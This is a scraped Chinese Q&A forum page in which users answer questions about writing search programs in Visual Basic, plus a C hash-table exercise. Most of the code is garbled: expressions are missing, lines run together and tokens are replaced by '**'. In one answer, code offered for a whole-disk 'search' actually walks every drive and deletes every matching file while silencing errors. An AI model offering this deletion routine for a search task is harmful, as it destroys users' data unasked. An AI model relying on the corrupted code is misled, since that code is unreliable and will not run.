1樓：網友
問的莫名其妙，答的沒頭沒腦。
vb設計我查詢程式
2樓：網友
'在輸入要查詢的內容，在中查詢，查到了將內容選中，"開始查詢"按鈕變為"下乙個",'當查詢結束後，彈長對話方塊，顯示找到的個數private sub command1_click()dim i as long, j as long, k as long, n as long
dim sta as string, stb as stringsta =
if len(sta) = 0 then
msgbox "text1為空"
exit sub
end if
stb =if len(stb) = 0 then
msgbox "text2為空"
exit sub
end if
k = len(stb)
i = 1n = 0
dodoevents
j = instr(i, stb, sta)if j = 0 then exit doi = j + 1
n = n + 1
loopmsgbox "找到結果" & cstr(n) &"個"
end sub
vb製作乙個全盤搜尋程式
3樓：風雪劍無痕
private declare function getlogicaldrivestrings lib "kernel32" alias "getlogicaldrivestringsa" (byval nbufferlength as long, byval lpbuffer as string) as long
private i as integer
private myfile as string
private sub command1_click()
dim m, d$
on error resume next
d = string(256, chr(0))
getlogicaldrivestrings len(d), d
i = 0myfile = ""
if left$(d, instr(1, d, chr$(0)))= chr$(0) then exit for
outfile left$(d, instr(1, d, chr$(0)) 1), "\" '不加斜槓是模糊查詢。
d = right$(d, len(d) -instr(1, d, chr$(0)))
msgbox "一共找到並刪除：" & i & " 個檔案"
end sub
private sub outfile(byval myfolder as string, byval myfilename as string)
dim fs, f, f1, s, sf, f2, mf
dim l as integer
set fs = createobject("")
set f =
set sf =
for each f1 in sf
outfile f1, myfilename
doevents
nextl = len(myfilename)
set mf =
for each f2 in mf
if right(f2, l) = myfilename then
kill myfile & f2 '刪除檔案。
i = i + 1
myfile = myfile & f2 & vbcrlf
end if
doevents
nextend sub
如何用vb製作乙個查詢檔案的程式？
4樓：秋色烽火
hkey_local_machine\software\tencent\qq\install\ 這個是qq的安裝路徑。
參閱一下。
vb 怎麼製作查詢軟體
5樓：有手藝的農民
最老也是最簡單的方法就是：用microsoft office access2003生成乙個97格式的資料庫，然後用vb的data呼叫，用dbgrid生成**，然後在窗體中新增乙個command和乙個text，查詢**如下：
首先在text1中輸入你想要查詢人的姓名，然後：
private sub command1_click()= "select * from sheet1 where 姓名 like" & "'" & "*" & text1 & "*" & "'"
end sub
這句話的意思是：點選按鈕1，查詢**sheet1中的姓名；
vb課程設計：模擬查詢過程—線性模擬和折半模擬
6樓：手機使用者
//改完了，具體錯誤在程式中，說一下，剛開始的問題，是因為你define 的m跟你下的。
函式引數相同的，所以會報錯。
#include
#include
#define maxsize 100 //定義最大雜湊表長度。
#define m 2 //定義有m個通迅記錄。
typedef struct
tx;tx a[m];
typedef struct
hashtable; //定義雜湊表型別為記錄。
hashtable ha[maxsize];
void createjl( tx b,int n) //建立記錄。
for(i=0;i}void insertht(hashtable ha, tx c,int q,int p) //這裡應該是把hashtable陣列傳進來，少了。
還有我把m換成q了，else
while(ha[adr].tel!=0);
ha[adr].tel=c[i].tel;
strcpy(ha[adr].name,c[i].name);
strcpy(ha[adr].add,c[i].add);
ha[adr].count=j;}}
void createht(hashtable ha,tx b,int q,int p) //這裡跟上面一樣的問題。
insertht(ha,b,q,p);
void dispht(hashtable ha,int p) //這裡多了個；，我幫你去掉了。
void searchht(hashtable ha, int p, int k) //這個函式不需要返回值，所以用void
if(ha[adr].tel==k)
else //查詢失敗。
printf("no found");
void main()
vb製作查詢答案
7樓：網友
就問一句：你的list中的資料是存在**的？
是資料庫吧！ 如果是那就非常容易了！
你最好把這個源**程式fa給我，直接給你修改了可以了。
同97091，用模糊查詢方式（做了如下修改！），private sub command1_click()
sql = "select a from xx where name like '%" & trim( &"%'"
執行sql語句。
清除後重寫。
do while not
rst("name")
loopend sub
VB設計跳動的小球，VB設計跳動的小球 25
墨漬 我可以讓form在螢幕上四處亂撞，你可以在在form上貼個球的 然後用api把form透明化，只留下 透明化 我也有。public a,b private sub command1 click 停止移動timer1.interval 0 end sub private sub command2...
VB如何設計單擊網頁，VB 如何單擊網頁中的按鈕
我的思路是 先手動開啟該網頁 該網頁不能關閉 不能最小化 不能移動。呵呵呵 這方法很笨 但實用。用vb獲取按鈕的座標。用計時器 每隔一定時間點選該座標一次。應該有更先進的方法 我也想學習學習。vb 如何單擊網頁中的按鈕 單擊 click 屬於事件。所謂事件 event 是由vb預先設定好的 能夠被物...
VB程式設計好學嗎，電腦程式設計好學嗎？
程式設計好學，就是要多練習，抱書本不行。主要是就是邏輯，你的邏輯思維很嚴謹，發散型思維很強，就能編出好東西，數學基礎好對程式設計有很大幫助。至於哪門語言，這要看你打算開發哪種型別的。無論開發哪方面，要有很好的程式設計思想。至於用什麼語言來編，拿本書看看再練練就會了。不用把主要精力放到學習具體的某個語...